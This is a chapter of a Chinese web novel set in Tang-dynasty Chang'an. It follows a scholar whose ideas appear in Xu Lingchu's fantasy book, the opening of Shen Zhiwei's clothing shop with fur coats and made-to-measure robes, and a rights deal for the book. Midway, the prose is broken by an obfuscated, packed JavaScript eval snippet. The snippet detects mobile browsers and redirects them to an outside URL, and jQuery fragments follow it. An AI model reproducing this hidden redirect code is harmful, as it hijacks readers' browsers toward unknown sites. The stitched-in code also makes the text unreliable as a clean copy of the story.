长安的春色在礼部试后愈发慵懒起来。朱雀大街的柳絮沾着未散的晨露，轻飘飘掠过青瓦飞檐。


    那些寒窗十载的士子们终于得了喘息，或聚在酒肆高谈阔论，或徘徊曲江池畔垂钓闲愁，只待金榜揭晓那日，看命运是泼天富贵还是满地碎玉。


    常文渊踩着青石板上的斑驳日影，往‘锦童斋’去。转过街角，忽见熟悉的屋檐下、草坪上立着个一人高的彩绘木制偶人，手中"魔法棒"流转着碎金光芒。


    透过那引人注目的宽大临街展窗，远远便看见有人围着绘本展台翻看什么。


    常文渊推开木门，桐木香混着新墨气息扑面而来。七八个襕衫书生正围在展台前，有人捧着书册念出声："...只见那青铜司南忽地腾空，指针直指紫微垣方向..."哄笑声里，靛蓝封皮上《大唐魔法学院》五个鎏金字灼得他眼眶发热。


    他越过人群，也拿起一本，看到书面上作者的名字，沈踏。


    常文渊嘴角不自觉扬起。


    书中那些天马行空的设定，正是他与许灵初聊过的话题，有一些具体情节，更是直接采纳了他的建议。


    常文渊向来喜欢奇思妙想，但他从未想过，有人会认真听取他那些与科举无关的，非主流的异想天开，并将它们写入书中。


    这一瞬间，他心中生出一种难以言喻的愉悦感。


    “你喜欢吗？”


    身后传来清泉般的嗓音，他回头，正对上许灵初带笑的眼眸。


    常文渊一手拿着书，眼里透着几分雀跃：“沈踏，缓步而行，这个名字很好。”


    许灵初含笑点头：“才子都如此认同，那儿对这个名字就放心了。”


    看着对面着鹅黄春衫的小娘子，她鬓边碎发随笑意轻颤，恍若衔着晨露的杏花枝。常文渊笑了起来，感觉自己的耳尖微微泛热。


    “许娘子的文笔流畅、故事极佳。若是女郎能科考，许娘子必得高中！”


    一句话把许灵初哄得掩嘴含羞起来。


    这两日《大唐魔法学院》的风评不错，她本就心中欢喜，再得有才华的郎君一夸，更是乐开了花，然则必要的谦虚还是不能少。


    “得亏了常郎君你的不少好建议，很多儿都引用到书中了。”


    常文渊闻言翻开书页，指着其中几段情节道：“我看到了。这里——这段魔法学院的课程设定，我之前是不是和你提过？还有这个考核制度，也和我们聊过的很像！”


    许灵初颔首：“是啊，你的想法很有趣，我稍作改动，便写进去了。”


    常文渊笑着点头，忽然觉得，这比他自己写文章得人称赞还要令人高兴。


    二人随即又谈起后续的故事发展，常文渊兴致勃勃地给出新的建议，而许灵初时而点头，时而若有所思地轻轻蹙眉，认真思考着他的意见。


    二人相谈甚欢。


    待到常文渊要告辞时，许灵初忽然想起什么，问道：“对了，礼部试，常郎君考得如何？”


    常文渊收起笑意，思索片刻，道：“还算凑合吧。”


    他语气平静，但眼底却闪过几分隐隐的忐忑。纵然他自认发挥尚可，但科举是残酷的，许多人都觉得自己答得不错，可最终能金榜题名的，却总是寥寥。


    许灵初认真看着他，微微一笑：“那便祝郎君高中。”


    常文渊看着她，心里又翻出丝担忧。他笑了笑，“借许娘子吉言。”


    -----------


    放榜前几天，大家的心情尚轻松。


    趁着寿王妃、崔怀瑾带来的‘大衣’热度还在，“锦绣斋” 正式开业。


    铺子门口张灯结彩，绣着金线的喜庆红帷高高悬挂，映衬着新制的匾额熠熠生辉。门前围观的百姓不少，其中更不乏携婢而来的贵妇人，衣香鬓影，热闹非凡。


    先前在“丝路珍物大展”上引起轰动的狐裘大衣，至今仍是上流圈子里贵妇们的热门话题，而穿着那件衣裳惊艳全场的寿王妃，正是今日锦绣斋开业最好的活招牌。


    三楼雕花槛窗内，庞三娘捧着越窑秘色瓷盏，茶汤里浮着片随水波舒展的昆仑雪菊。她透过湘妃竹帘的缝隙望去，见沈知微正执起件雪色狐裘——那大衣在琉璃灯下泛起月华般的光晕。


    "这便是寿王妃‘丝路珍物大展’那日的所穿的大衣？"卢尚书夫人染着蔻丹的指尖轻抚架上挂着的女款狐裘大衣，语气中带着几分惊叹，“果然手感细腻，毛色也光润，竟不输宫中的贡品。”


    “这料子倒是好，可我们这些妇道人家，总不似王妃那般气派。”另一位夫人状似随意地说道，目光却一直停留在大衣上，眼底分明透着几分心动。


    沈知微含笑回应：“夫人们有所不知，狐裘大衣固然华美，但‘锦绣斋’也备有更轻盈的春款。比如这件……”她抬手取下一件用名贵绫罗织就的罩衫，内里以兔绒为衬，“外观不失典雅端庄，内里柔软轻暖，既适合初春乍暖还寒之时穿着，升温后亦可去除兔绒，单穿外罩衫。”


    她话音刚落，便有几位贵妇围拢上来，轻轻抚摸衣料，感受其中的柔韧与轻暖，显然颇感兴趣。


    "前些日子，哦，就是礼部试开始那日，老身在宫门外见崔侍郎穿了一件黑色的貂绒大衣，既保暖，又衬得他人挺拔风雅……你们这儿，可是也有同款？"郑国公夫人抚着腰间玉带銙问道。


    沈知微一笑，早已预料到今日会有人提及此事。她抬手示意，引着众人转过扇紫檀屏风。但见鎏金衣架上悬着五件男式大氅，自墨色貂绒到雨过天青的雀金裘，袖口皆暗绣流云纹，在烛火中若隐若现。


    “这几款皆是‘锦绣斋’新制的男装大衣，”她柔声介绍道，“用料不同，款式也略有区别。这一款与崔大人所穿相似，黑色貂绒，内衬锦缎，适合正装场合。若是夫人们想要为家中郎君挑选，亦可量体裁衣，专门定制。”


    "量体裁衣？"卢夫人抚掌轻笑，想起自家夫君那堪比怀胎六月的肚腩，"连这麒麟腹也能裁出风流态？"


    “可略修饰三分。”沈知微击掌三声，有两位侍女将一件大衣从架上取下，奉至诸位夫人面前："夫人请看，这雀金裘可收腰三寸而不显褶皱。"


    她指尖轻点处，锦缎下浮出云雷暗纹。


    沈知微笑道，“不仅是尺寸可定制，衣领、袖口、下摆的款式皆可调整，夫人们若有特定要求，也可与我们的绣工沟通。”


    “如此倒是极好，贵店的成衣虽好，然则尺寸不合，还要改动。定制款虽价高，但省了许多麻烦。”有不差钱的夫人道。


    “既然如此，我也替我家老爷相上一件……”


    一时间，厅内议论声不断，绣工们忙着为各家贵妇记录尺寸。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488269|161931||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    沈知微一看也许是开业当日来的客人非富即贵，定制款显然比成衣更受欢迎。然则之后会如何发展，还有待观察。


    -----------


    夜色渐深，灯火映照在窗棂上，投下斑驳的光影。沈知微坐在书案前，合上手中的书卷，眼中仍存着几分余兴。


    案上摆着的，正是许灵初暮食前给她送来的《大唐魔法学院》第二册样书。她熬夜读完，读到情节跌宕处，不禁屏息凝神，甚至连烛火燃尽都未曾察觉。


    比起第一册，这一册的故事更加紧凑，人物形象亦更为鲜明生动。沈知微心下暗叹，自己的这位表妹，平日里总是温软安静，甚至有些迷糊，但在编织故事上，竟然展现出惊人的天赋，经过第一本的历练，连文字功底都大有精进。


    果然是人人都有自己的天赋。


    次日清晨，朝食过后，沈知微拉着许灵初回到自己屋里，语气轻快：“写得很好。”她不吝赞赏，微笑着将书卷递回给许灵初，“我手不释卷，连夜看完，比第一册更加紧凑，人物性格也更立体生动，只有一两处细节稍作调整便可定稿。”


    许灵初双手接过书，脸上的笑意几乎藏不住，眉眼间透着几分雀跃：“真的吗？那太好了！”她一向信任自己阿姐的眼光，若沈知微觉得好，那这本书便真正站得住了。


    沈知微点头，但话锋一转，语气随即变得郑重：“不过，今天我不仅是要与你谈书的内容，还想与你谈《大唐魔法学院》的刊印专权。”


    许灵初一怔，想起当初阿姐也和‘六一先生’谈过《童趣仙记》的相关问题，心中顿时明白，这已不是家常话，而是一场关乎自身创作的正式交易。她敛去笑意，端坐正襟，摆出聆听的姿态。


    “第一册的时候，你是按照我最初的创意进行创作的，那时候，我们还可以说它是小半个‘锦童斋’的产品。但从第二册开始，故事已经完全是你的构思，人物的发展、情节的铺陈，都是你自己的才华所成。”沈知微语气平稳，目光清晰而坚定，“所以，从这一册起，《大唐魔法学院》的版权，理应属于你。”


    许灵初闻言，睁大了眼睛。


    沈知微接着道：“关于这本书的出版和销售，我可以提供你两种方案。”


    “第一种，和六一先生的《童趣仙记》一样，你拿持续性的提成。所有《大唐魔法学院》书籍的利润，你分六成，‘锦童斋’拿四成。如果以后我们出绘本、周边玩偶，你也可得四成收益。”


    “第二种，一次性买断版权。每册书刊印前，‘锦童斋’付你一笔银子，买下当册的所有刊印权，以后如何销售、是否再版，皆由锦童斋决定，除非我们放弃刊印专权，否则你不能将后续故事刊印权交给别人。”


    沈知微看着许灵初，不疾不徐的话语带着商人的冷静：“你可以好好考虑，选哪种。”


    许灵初低头沉思片刻，随后抬头，眼中已有了坚定的光芒。


    “我选第一种。”她从未在其它任何事情上有此时的笃定，“一本书的价值不止在于当下，我愿意陪着‘锦童斋’慢慢走下去。”


    沈知微微微一笑，伸出手轻握一下许灵初的手：“好，那就按第一种方案来。”


    两人相视一笑，交易达成。


    这一天，许灵初不仅卖出了自己的故事，也真正踏上了属于自己的路。